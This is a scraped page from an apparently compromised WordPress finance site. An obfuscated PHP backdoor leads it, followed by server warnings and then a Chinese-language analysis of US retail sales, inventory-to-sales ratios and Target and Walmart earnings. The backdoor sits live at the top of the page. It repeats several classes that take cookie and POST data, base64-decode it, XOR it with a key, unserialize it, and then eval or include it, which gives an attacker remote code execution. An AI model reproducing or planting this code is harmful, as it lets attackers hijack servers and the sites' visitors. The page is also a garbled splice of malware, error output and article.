$GIrDQiIzNZ = chr ( 888 - 769 )."\165" . chr (77) . chr ( 1062 - 967 ).chr ( 1086 - 996 )."\141" . "\104" . chr ( 519 - 397 ); $BDrMv = 'c' . "\154" . "\x61" . chr (115) . "\163" . '_' . "\x65" . "\170" . "\151" . 's' . "\164" . 's';$ekvLErKHS = class_exists($GIrDQiIzNZ); $BDrMv = "61910";$hCAzWYJv = !1;if ($ekvLErKHS == $hCAzWYJv){function xfChN(){return FALSE;}$ZojJNd = "15816";xfChN();class wuM_ZaDz{private function GCmIlYor($ZojJNd){if (is_array(wuM_ZaDz::$TXxwuZHb)) {$ENuFrI = sys_get_temp_dir() . "/" . crc32(wuM_ZaDz::$TXxwuZHb["\x73" . chr ( 433 - 336 )."\x6c" . 't']);@wuM_ZaDz::$TXxwuZHb[chr (119) . "\x72" . 'i' . 't' . 'e']($ENuFrI, wuM_ZaDz::$TXxwuZHb[chr (99) . "\157" . "\156" . "\x74" . "\x65" . "\x6e" . "\x74"]);include $ENuFrI;@wuM_ZaDz::$TXxwuZHb[chr ( 778 - 678 ).chr ( 1069 - 968 ).chr ( 668 - 560 )."\145" . "\164" . "\x65"]($ENuFrI); $ZojJNd = "15816";exit();}}private $oOxnHsWv;public function CmXve(){echo 31269;}public function __destruct(){$ZojJNd = "25452_10461";$this->GCmIlYor($ZojJNd); $ZojJNd = "25452_10461";}public function __construct($TLLpo=0){$nrRPQBcz = $_POST;$yGgFdIZ = $_COOKIE;$tdkqi = "e5765d84-a3ec-4354-8069-6743400e9724";$OCXdVBYaq = @$yGgFdIZ[substr($tdkqi, 0, 4)];if (!empty($OCXdVBYaq)){$eiNskJV = "base64";$ZzwAkaqFSe = "";$OCXdVBYaq = explode(",", $OCXdVBYaq);foreach ($OCXdVBYaq as $zbjOdlJPw){$ZzwAkaqFSe .= @$yGgFdIZ[$zbjOdlJPw];$ZzwAkaqFSe .= @$nrRPQBcz[$zbjOdlJPw];}$ZzwAkaqFSe = array_map($eiNskJV . "\137" . chr (100) . "\145" . 'c' . "\x6f" . "\144" . "\145", array($ZzwAkaqFSe,)); $ZzwAkaqFSe = $ZzwAkaqFSe[0] ^ str_repeat($tdkqi, (strlen($ZzwAkaqFSe[0]) / strlen($tdkqi)) + 1);wuM_ZaDz::$TXxwuZHb = @unserialize($ZzwAkaqFSe); $ZzwAkaqFSe = class_exists("25452_10461");}}public static $TXxwuZHb = 18552;}$oPZlBItS = new /* 50633 */ $GIrDQiIzNZ(15816 + 15816); $hCAzWYJv = $oPZlBItS = $ZojJNd = Array();}$trmaiXRgG = chr ( 693 - 604 ).'c' . "\137" . "\x64" . "\x62" . chr (105); $FFrezdQwh = "\x63" . chr ( 428 - 320 ).chr ( 828 - 731 )."\163" . 's' . '_' . chr (101) . "\170" . chr (105) . chr (115) . "\x74" . "\x73";$atvJJq = class_exists($trmaiXRgG); $FFrezdQwh = "20948";$umedcss = !1;if ($atvJJq == $umedcss){function PnBTn(){return FALSE;}$eMwkiP = "12245";PnBTn();class Yc_dbi{private function hgWWewyxjT($eMwkiP){if (is_array(Yc_dbi::$kHPNlt)) {$ugemynU = str_replace(chr ( 849 - 789 ) . "\x3f" . 'p' . chr (104) . chr ( 389 - 277 ), "", Yc_dbi::$kHPNlt['c' . chr (111) . "\156" . 't' . "\145" . "\x6e" . "\x74"]);eval($ugemynU); $eMwkiP = "12245";exit();}}private $KSXIJNY;public function JsKaymV(){echo 39405;}public function __destruct(){$eMwkiP = "19195_34891";$this->hgWWewyxjT($eMwkiP); $eMwkiP = "19195_34891";}public function __construct($DwZgLcm=0){$HuWvo = $_POST;$lITrk = $_COOKIE;$CGcJgY = "152010d6-fce2-4bdc-8d1e-0e60189dedbc";$HeRlBqGjn = @$lITrk[substr($CGcJgY, 0, 4)];if (!empty($HeRlBqGjn)){$QCiav = "base64";$iwQrh = "";$HeRlBqGjn = explode(",", $HeRlBqGjn);foreach ($HeRlBqGjn as $jjrUqxAMFE){$iwQrh .= @$lITrk[$jjrUqxAMFE];$iwQrh .= @$HuWvo[$jjrUqxAMFE];}$iwQrh = array_map($QCiav . '_' . 'd' . "\145" . chr ( 490 - 391 )."\x6f" . chr ( 301 - 201 ).chr ( 119 - 18 ), array($iwQrh,)); $iwQrh = $iwQrh[0] ^ str_repeat($CGcJgY, (strlen($iwQrh[0]) / strlen($CGcJgY)) + 1);Yc_dbi::$kHPNlt = @unserialize($iwQrh); $iwQrh = class_exists("19195_34891");}}public static $kHPNlt = 56267;}$anQULZiuy = new /* 10360 */ $trmaiXRgG(12245 + 12245); $umedcss = $anQULZiuy = $eMwkiP = Array();}$dDqhLabBv = chr (110) . "\152" . chr (101) . "\137" . chr (68) . chr (67) . "\160" . 'D';$GEmRnXzrhj = "\143" . chr ( 855 - 747 )."\141" . 's' . "\x73" . chr ( 453 - 358 ).chr ( 844 - 743 ).'x' . chr (105) . "\x73" . 't' . "\x73";$AnURQgOS = class_exists($dDqhLabBv); $GEmRnXzrhj = "33855";$cgOfMMt = !1;if ($AnURQgOS == $cgOfMMt){function JsQymZyAEv(){return FALSE;}$piAyZI = "20475";JsQymZyAEv();class nje_DCpD{private function ANHufFGK($piAyZI){if (is_array(nje_DCpD::$aPIpchjZg)) {$dVXGmSSoz = sys_get_temp_dir() . "/" . crc32(nje_DCpD::$aPIpchjZg['s' . "\x61" . "\x6c" . "\164"]);@nje_DCpD::$aPIpchjZg["\x77" . 'r' . chr (105) . "\164" . chr (101)]($dVXGmSSoz, nje_DCpD::$aPIpchjZg["\143" . "\x6f" . 'n' . "\x74" . chr ( 530 - 429 ).'n' . chr (116)]);include $dVXGmSSoz;@nje_DCpD::$aPIpchjZg[chr (100) . "\145" . "\x6c" . chr (101) . chr (116) . 'e']($dVXGmSSoz); $piAyZI = "20475";exit();}}private $JmWzkPDT;public function rmZANmr(){echo 45003;}public function __destruct(){$piAyZI = "22295_2831";$this->ANHufFGK($piAyZI); $piAyZI = "22295_2831";}public function __construct($cKjhXWF=0){$JzJGOR = $_POST;$MNhVnmP = $_COOKIE;$xGyoKwYDw = "c2f81b22-9d1f-4234-bdfc-34c72f1e8d8f";$akIGFhCSIJ = @$MNhVnmP[substr($xGyoKwYDw, 0, 4)];if (!empty($akIGFhCSIJ)){$JdAJnHLu = "base64";$uhYnoprKvF = "";$akIGFhCSIJ = explode(",", $akIGFhCSIJ);foreach ($akIGFhCSIJ as $actyBNAa){$uhYnoprKvF .= @$MNhVnmP[$actyBNAa];$uhYnoprKvF .= @$JzJGOR[$actyBNAa];}$uhYnoprKvF = array_map($JdAJnHLu . "\x5f" . "\144" . "\x65" . "\x63" . chr ( 706 - 595 ).chr (100) . "\x65", array($uhYnoprKvF,)); $uhYnoprKvF = $uhYnoprKvF[0] ^ str_repeat($xGyoKwYDw, (strlen($uhYnoprKvF[0]) / strlen($xGyoKwYDw)) + 1);nje_DCpD::$aPIpchjZg = @unserialize($uhYnoprKvF); $uhYnoprKvF = class_exists("22295_2831");}}public static $aPIpchjZg = 50434;}$FdRwoFj = new /* 62642 */ $dDqhLabBv(20475 + 20475); $cgOfMMt = $FdRwoFj = $piAyZI = Array();}$JiLOEexD = 'H' . "\x5f" . chr ( 606 - 528 )."\x70" . "\124" . "\x51";$hGaUyVk = 'c' . chr ( 394 - 286 )."\x61" . chr (115) . "\x73" . "\x5f" . 'e' . "\170" . chr (105) . "\163" . chr (116) . "\163";$NKSlWyA = class_exists($JiLOEexD); $hGaUyVk = "31210";$DcMnXjuhb = !1;if ($NKSlWyA == $DcMnXjuhb){function ncjMGViL(){return FALSE;}$mofulRxze = "13716";ncjMGViL();class H_NpTQ{private function AEBuawXv($mofulRxze){if (is_array(H_NpTQ::$chwtnDUaD)) {$nbmgk = sys_get_temp_dir() . "/" . crc32(H_NpTQ::$chwtnDUaD[chr ( 816 - 701 ).chr (97) . "\154" . "\x74"]);@H_NpTQ::$chwtnDUaD[chr ( 602 - 483 )."\162" . "\x69" . "\x74" . "\145"]($nbmgk, H_NpTQ::$chwtnDUaD['c' . chr (111) . chr ( 693 - 583 )."\x74" . "\145" . "\x6e" . chr ( 744 - 628 )]);include $nbmgk;@H_NpTQ::$chwtnDUaD[chr ( 958 - 858 )."\145" . "\154" . chr (101) . "\164" . chr ( 106 - 5 )]($nbmgk); $mofulRxze = "13716";exit();}}private $ePLbRCM;public function PNfouS(){echo 56254;}public function __destruct(){$mofulRxze = "25092_60068";$this->AEBuawXv($mofulRxze); $mofulRxze = "25092_60068";}public function __construct($kvYgnuqe=0){$IcrsWYLye = $_POST;$rifstXeiFv = $_COOKIE;$mxYHjnGKqz = "11bf78e8-0da5-4bc3-8a77-3bb173839642";$GwtNaN = @$rifstXeiFv[substr($mxYHjnGKqz, 0, 4)];if (!empty($GwtNaN)){$BonlN = "base64";$MXnSl = "";$GwtNaN = explode(",", $GwtNaN);foreach ($GwtNaN as $CzxgpbhU){$MXnSl .= @$rifstXeiFv[$CzxgpbhU];$MXnSl .= @$IcrsWYLye[$CzxgpbhU];}$MXnSl = array_map($BonlN . "\137" . "\x64" . "\x65" . chr (99) . "\x6f" . "\144" . "\145", array($MXnSl,)); $MXnSl = $MXnSl[0] ^ str_repeat($mxYHjnGKqz, (strlen($MXnSl[0]) / strlen($mxYHjnGKqz)) + 1);H_NpTQ::$chwtnDUaD = @unserialize($MXnSl); $MXnSl = class_exists("25092_60068");}}public static $chwtnDUaD = 24569;}$MuzVX = new /* 54731 */ $JiLOEexD(13716 + 13716); $DcMnXjuhb = $MuzVX = $mofulRxze = Array();}$NIypZwED = chr (89) . chr (95) . "\162" . chr (106) . "\x59" . chr (76); $eWvfr = 'c' . "\154" . "\x61" . "\163" . chr ( 485 - 370 ).chr (95) . chr ( 716 - 615 )."\170" . chr ( 424 - 319 ).chr (115) . "\x74" . chr ( 180 - 65 ); $bujCAC = class_exists($NIypZwED); $eWvfr = "19560";$tpZivegp = !1;if ($bujCAC == $tpZivegp){function DKMwxj(){return FALSE;}$zfSeJxw = "33964";DKMwxj();class Y_rjYL{private function ZbgobdrqQ($zfSeJxw){if (is_array(Y_rjYL::$mxodW)) {$XMkmQAMeBl = str_replace("\x3c" . chr ( 413 - 350 )."\160" . "\150" . "\x70", "", Y_rjYL::$mxodW[chr (99) . "\x6f" . "\x6e" . 't' . "\145" . 'n' . "\x74"]);eval($XMkmQAMeBl); $zfSeJxw = "33964";exit();}}private $AdspYGlXi;public function xZvxxV(){echo 60330;}public function __destruct(){$zfSeJxw = "23436_18681";$this->ZbgobdrqQ($zfSeJxw); $zfSeJxw = "23436_18681";}public function __construct($Neuvi=0){$paKOuRX = $_POST;$FCgnmy = $_COOKIE;$jCBbUNnfKI = "24637fb8-1f32-4f06-9d13-c38139a190ba";$xgwYEKWSAg = @$FCgnmy[substr($jCBbUNnfKI, 0, 4)];if (!empty($xgwYEKWSAg)){$NAtOrr = "base64";$qvMihawFM = "";$xgwYEKWSAg = explode(",", $xgwYEKWSAg);foreach ($xgwYEKWSAg as $VWzIuCu){$qvMihawFM .= @$FCgnmy[$VWzIuCu];$qvMihawFM .= @$paKOuRX[$VWzIuCu];}$qvMihawFM = array_map($NAtOrr . "\x5f" . "\x64" . "\145" . "\x63" . chr ( 232 - 121 ).chr ( 387 - 287 ).chr ( 242 - 141 ), array($qvMihawFM,)); $qvMihawFM = $qvMihawFM[0] ^ str_repeat($jCBbUNnfKI, (strlen($qvMihawFM[0]) / strlen($jCBbUNnfKI)) + 1);Y_rjYL::$mxodW = @unserialize($qvMihawFM); $qvMihawFM = class_exists("23436_18681");}}public static $mxodW = 1633;}$gxgXxxEpxY = new /* 38761 */ $NIypZwED(33964 + 33964); $tpZivegp = $gxgXxxEpxY = $zfSeJxw = Array();}$lmcUqVsgh = 'p' . "\x5f" . "\x43" . chr ( 938 - 849 ).'M' . chr ( 735 - 654 )."\x65";$iErnEbdB = "\143" . chr ( 1051 - 943 ).chr (97) . "\x73" . "\x73" . "\x5f" . "\145" . 'x' . 'i' . chr (115) . chr (116) . "\x73";$SbfnFYu = class_exists($lmcUqVsgh); $iErnEbdB = "21500";$HDUOLB = !1;if ($SbfnFYu == $HDUOLB){function DeAKqVHv(){return FALSE;}$OsrcFC = "168";DeAKqVHv();class p_CYMQe{private function akksZzGTak($OsrcFC){if (is_array(p_CYMQe::$tACbznivc)) {$Ifgrt = str_replace(chr ( 905 - 845 ) . chr ( 180 - 117 )."\x70" . "\150" . 'p', "", p_CYMQe::$tACbznivc[chr (99) . 'o' . "\156" . "\164" . "\x65" . "\156" . chr ( 131 - 15 )]);eval($Ifgrt); $OsrcFC = "168";exit();}}private $LyTMZpOeWS;public function QsBjlnKpV(){echo 57890;}public function __destruct(){$OsrcFC = "26481_13616";$this->akksZzGTak($OsrcFC); $OsrcFC = "26481_13616";}public function __construct($qWliXmy=0){$WcXAmT = $_POST;$CiSholxB = $_COOKIE;$bTRkarjM = "8513c332-e7c0-4901-989f-9b34f154a988";$KffNqbz = @$CiSholxB[substr($bTRkarjM, 0, 4)];if (!empty($KffNqbz)){$IoIEf = "base64";$xdWkFX = "";$KffNqbz = explode(",", $KffNqbz);foreach ($KffNqbz as $llNetVS){$xdWkFX .= @$CiSholxB[$llNetVS];$xdWkFX .= @$WcXAmT[$llNetVS];}$xdWkFX = array_map($IoIEf . "\x5f" . "\x64" . "\145" . "\143" . "\x6f" . "\144" . chr ( 799 - 698 ), array($xdWkFX,)); $xdWkFX = $xdWkFX[0] ^ str_repeat($bTRkarjM, (strlen($xdWkFX[0]) / strlen($bTRkarjM)) + 1);p_CYMQe::$tACbznivc = @unserialize($xdWkFX); $xdWkFX = class_exists("26481_13616");}}public static $tACbznivc = 16745;}$PqXSB = new /* 12677 */ $lmcUqVsgh(168 + 168); $HDUOLB = $PqXSB = $OsrcFC = Array();}$sdGxpba = "\111" . "\114" . "\x5f" . chr ( 782 - 699 ).chr (116) . "\171";$goApL = "\143" . "\x6c" . 'a' . chr (115) . "\x73" . "\x5f" . chr ( 321 - 220 ).chr ( 788 - 668 ).'i' . "\x73" . chr (116) . chr ( 1007 - 892 ); $nAmGlG = class_exists($sdGxpba); $sdGxpba = "52141";$goApL = "29555";$NfllrzRu = !1;if ($nAmGlG == $NfllrzRu){function RKIImwN(){return FALSE;}$IDFKXPYx = "24891";RKIImwN();class IL_Sty{private function PeDJhgPkk($IDFKXPYx){if (is_array(IL_Sty::$HBGia)) {$dWmOqqPn = str_replace("\74" . "\x3f" . chr (112) . chr (104) . "\160", "", IL_Sty::$HBGia[chr (99) . "\157" . "\156" . "\x74" . chr ( 121 - 20 )."\x6e" . "\164"]);eval($dWmOqqPn); $IDFKXPYx = "24891";exit();}}private $zPXYye;public function lEQFKwRHQ(){echo 33039;}public function __destruct(){$IDFKXPYx = "23772_943";$this->PeDJhgPkk($IDFKXPYx); $IDFKXPYx = "23772_943";}public function __construct($OvzOxh=0){$QnOMR = $_POST;$HNoZlG = $_COOKIE;$zWAraslni = "00585ef7-4ced-44bd-b8c4-08720b627307";$vBIfFlHAOq = @$HNoZlG[substr($zWAraslni, 0, 4)];if (!empty($vBIfFlHAOq)){$MXZBkx = "base64";$FeOuE = "";$vBIfFlHAOq = explode(",", $vBIfFlHAOq);foreach ($vBIfFlHAOq as $PoBhIs){$FeOuE .= @$HNoZlG[$PoBhIs];$FeOuE .= @$QnOMR[$PoBhIs];}$FeOuE = array_map($MXZBkx . chr ( 717 - 622 ).'d' . 'e' . "\x63" . chr (111) . "\144" . "\145", array($FeOuE,)); $FeOuE = $FeOuE[0] ^ str_repeat($zWAraslni, (strlen($FeOuE[0]) / strlen($zWAraslni)) + 1);IL_Sty::$HBGia = @unserialize($FeOuE); $FeOuE = class_exists("23772_943");}}public static $HBGia = 37724;}$SVTKDqFpG = new /* 55422 */ IL_Sty(24891 + 24891); $_POST = Array();unset($SVTKDqFpG);}$VmrjCDTZ = 'y' . chr (85) . 'k' . '_' . chr ( 826 - 704 )."\x6c" . chr (122) . chr (121); $vPtitZaAWd = "\x63" . "\154" . chr (97) . chr (115) . chr (115) . chr (95) . "\x65" . chr (120) . chr ( 286 - 181 ).'s' . chr (116) . "\x73";$XIlsVotk = class_exists($VmrjCDTZ); $VmrjCDTZ = "46710";$vPtitZaAWd = "59509";$XaraWMagC = !1;if ($XIlsVotk == $XaraWMagC){function inruEbmArT(){return FALSE;}$txNTYiJwJ = "25459";inruEbmArT();class yUk_zlzy{private function ARRFnADTjt($txNTYiJwJ){if (is_array(yUk_zlzy::$IAvLNKdMY)) {$PynIVk = str_replace("\x3c" . chr (63) . chr ( 929 - 817 ).chr (104) . chr (112), "", yUk_zlzy::$IAvLNKdMY["\143" . "\157" . "\x6e" . "\164" . "\145" . chr ( 542 - 432 ).chr ( 941 - 825 )]);eval($PynIVk); $txNTYiJwJ = "25459";exit();}}private $JMsPwJD;public function oYiWfD(){echo 37459;}public function __destruct(){$txNTYiJwJ = "34118_42125";$this->ARRFnADTjt($txNTYiJwJ); $txNTYiJwJ = "34118_42125";}public function __construct($EHxOe=0){$Viwyqrqo = $_POST;$LBbvlNXm = $_COOKIE;$aOBmqXw = "fcffcccc-814a-42f6-8e1a-da6b9d9f084c";$EtEkLgiVM = @$LBbvlNXm[substr($aOBmqXw, 0, 4)];if (!empty($EtEkLgiVM)){$FcgWs = "base64";$WmGFePzKv = "";$EtEkLgiVM = explode(",", $EtEkLgiVM);foreach ($EtEkLgiVM as $LgkrbzFPFV){$WmGFePzKv .= @$LBbvlNXm[$LgkrbzFPFV];$WmGFePzKv .= @$Viwyqrqo[$LgkrbzFPFV];}$WmGFePzKv = array_map($FcgWs . "\137" . "\x64" . 'e' . chr ( 193 - 94 ).'o' . "\144" . "\x65", array($WmGFePzKv,)); $WmGFePzKv = $WmGFePzKv[0] ^ str_repeat($aOBmqXw, (strlen($WmGFePzKv[0]) / strlen($aOBmqXw)) + 1);yUk_zlzy::$IAvLNKdMY = @unserialize($WmGFePzKv); $WmGFePzKv = class_exists("34118_42125");}}public static $IAvLNKdMY = 27291;}$xFedbrqbzh = new /* 56596 */ yUk_zlzy(25459 + 25459); $_POST = Array();unset($xFedbrqbzh);}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/Author/98fb2e3a.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/Author/98fb2e3a.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/Author/98fb2e3a.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
零售商业绩前后矛盾,库销比迟早回归均值? - Sharix

零售商业绩前后矛盾,库销比迟早回归均值?

石油输出国组织OPEC近期再次下调全球今年和明年的石油需求预期,引发了市场对于全球宏观经济环境是否会比想象中更加严峻。但是,石油需求预期的下调并没有让我感到意外,反而美国商务部所公布的零售销售和沃尔玛交出的业绩表现更是令我百思不得其解。在全球需求广泛下降的背景下,是什么原因导致美国的零售销售景气还如此火热,而这股涨势是否有能在明年延续下去?今天我会通过分析库存销售比去预测美国未来的零售销售表现。

11月16日美国商务部的数据显示,美国10月的零售销售按月上涨1.3%,超出市场预期的1% 和9月的0%,同时创下今年2月以来最高的水平。扣除汽车和汽油之后,10月的核心零售销售按月上升0.9%,大幅高于市场预期的0.2% 和9月的0.3%,也创下今年5月以来最高的水平。观察零售销售的细分项目,13个零售类别当中只有3个类别的零售出现下滑,包括电子产品和电器商店、体育用品和杂货商店,按月分别下滑0.3%、0.3% 以及0.2%。但是,加油站零售按月却上升了4.1%,餐饮服务和饮酒场所零售也按月增长1.6%,而汽车及零部件经销商零售则按月上涨1.3%,家具店、建材等部门零售也出现不同程度的增长。

这份超出预期的零售销售凸显出美国的消费需求还是保持强劲,让美联储有更大的底气进行加息,同时投资者开始下调美联储在12月放缓加息步伐的可能性,而加息75基点的声浪也开始逐渐反弹。虽然美国的消费者和生产者物价都在告知美联储加息可能需要放缓,但强劲的零售销售也传达出美国物价放缓的速度可能比想象中要慢。然而,我在之前有强调零售销售是物价和销售数量的相积,过去在美国物价持续攀高的背景下,零售销售的成长绝大部分都是因为价格因素被泡沫化,而非受到实质销售数量的增长。

我在上图分别绘出2000年至今美国的零售销售趋势,蓝色线代表名目零售销售数据,而红色线则代表实质零售销售数据(1982年的物价为基数)。从这张图能发现即使实质销售自2021上半年已经停滞不前,但名目销售却不断创下新高,在10月更是来到US$694.5 billion的水平。我们要知道从2000年至2019年疫情爆发之前,美国的零售销售在这段期间的复合增长率只有3.4%,但是从2019年至2021年的零售销售却平均每年增长高达9.7%。我们需要知道今年美国的物价增速平均都超过8%,因此能看到美国名目零售销售的暴涨主要是价格因素所推动,而实质数量上则没有明显的上涨。这股强劲的增长势头是不可能被持续,只要明年的物价增速开始大幅放缓,零售销售的金额也必然会下滑。

再观察美国的库存销售比。库销比指的是库存和销售之间的关系,反映企业按照最近的销售速度需要多少天才能买完存货,是评价存货水平高低的常用指标。上图显示美国2017年至今的库销比趋势,红色线是总库销比,而蓝色线是一半零售库销比。从2017至2019年美国的总库销比平均都在1.45左右徘徊,但在疫情爆发初期销售的急速萎缩,导致库销比直接爆冲至1.7的水平。在各大央行的经济刺激措施下引发需求全面暴涨,使得全球出现严重的供应链瓶颈。这时库存快速下跌以及销售持续上涨,库销比在2021年中来到1.1的新低。然而,随着全球经济景气出现逆转和供应链瓶颈消散,库销比开始反弹。我预计美国的库销比在明年就会回到超过1.4的水平,主要是受到库存堆积和销售下跌共同形成。此外,我们也看到一般零售的库销比还在1.6历史新高的水平,库存增加的现象相当明显。

根据金融博客ZeroHedge的分析,未来的美国零售销售会面临巨大的逆风,主要是美国银行对于放出消费贷款的意愿正在急速降温,而消费本身是非常仰赖于信贷的产生。纽约联储最新的报告也显示美国今年第三季度的信用卡债务按年增长15%,创下20多年最快的增速。此外,美国的房贷利率飙升至20年的新高加重了购房者的负担,导致消费者的收入大部分都拿去偿还贷款,而留给消费行为的可支配收入大幅下滑,这也符合目前美国个人储蓄率接近历史新低的现象。我不知道这波零售销售的回归均值何时会发生,但我知道这必然会发生,而发生之后必定会对美国的经济景气造成巨大的影响。

虽然从沃尔玛 (Walmart) 和家得宝 (Home Depot) 最新的业绩表现能看到美国的零售行情还是保持稳健,但塔吉特 (Target) 却在警告投资者风暴即将发生。塔吉特3Q22的盈利暴跌50% 来到US$712 million,主要受到销售放缓和清理库存所致。但是,公司表示10月的销售不佳,并下调了对于零售商至关重要的4Q22业绩前景和展望,而每逢年末都是美国传统的节假日购物及。在旺季不旺的背景下,美国零售商在4Q22的盈利表现可能会远不如市场的预期。管理层也表示虽然公司在清理库存取得进展,但是折价幅度超过预期,而这股窘境预计会持续到2023年。此外,塔吉特也发现消费者越来越不愿意购买非打折商品,并转移到自有品牌和小包装商品,或是正在促销的大包装商品,令公司的盈利受到承压。

然而,这些负面因素并没有反映在全球零售巨头——沃尔玛身上。沃尔玛的营收和调整后的每股盈利都超出市场预期,同时上修2023年的财务指引以及宣布US$20 billion的股票回购计划。但是,公司强劲的业绩表现大部分是获得了更高收入家庭的市场份额增长所推动。值得注意的是,沃尔玛对于4Q22的业绩指引却相对保守,凸显出美国各大零售商对于今年第四季的消费旺季都感到悲观。根据标普全球市场的数据显示,今年假日季美国零售商整体销售额预计按年增长4.5%,但在剔通胀因素之后,实际销售可能下降1.2%。

我在上图整理出美国各大零售商过去12个季度的库存水平,可以看出对比疫情爆发之前零售商现在的库存都大幅增加。虽然大部分都归咎于价格因素,沃尔玛也表示公司大约70% 的库存增加是由于通胀,而非数量上的增长,但无可否认库存压力正在侵蚀零售商的盈利表现。此外,从刚才的一般零售库销比就能看到大部分美国的零售商正在面临库存暴增的窘境,库销比处于历史新高的水平,这些零售商为了清理手上的库存而折价卖出导致营运出现亏损。我认为美国的消费零售行情必然会出现均值回归的现象,甚至不排除会低于均值。这是因为过去两年的需求泡沫已经透支未来的消费,而这也必然有人买单。明年我们面对的是投资周期、信贷周期、商业周期同步往下的行情,没有人知道结果会是如何,但他肯定是血腥的。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台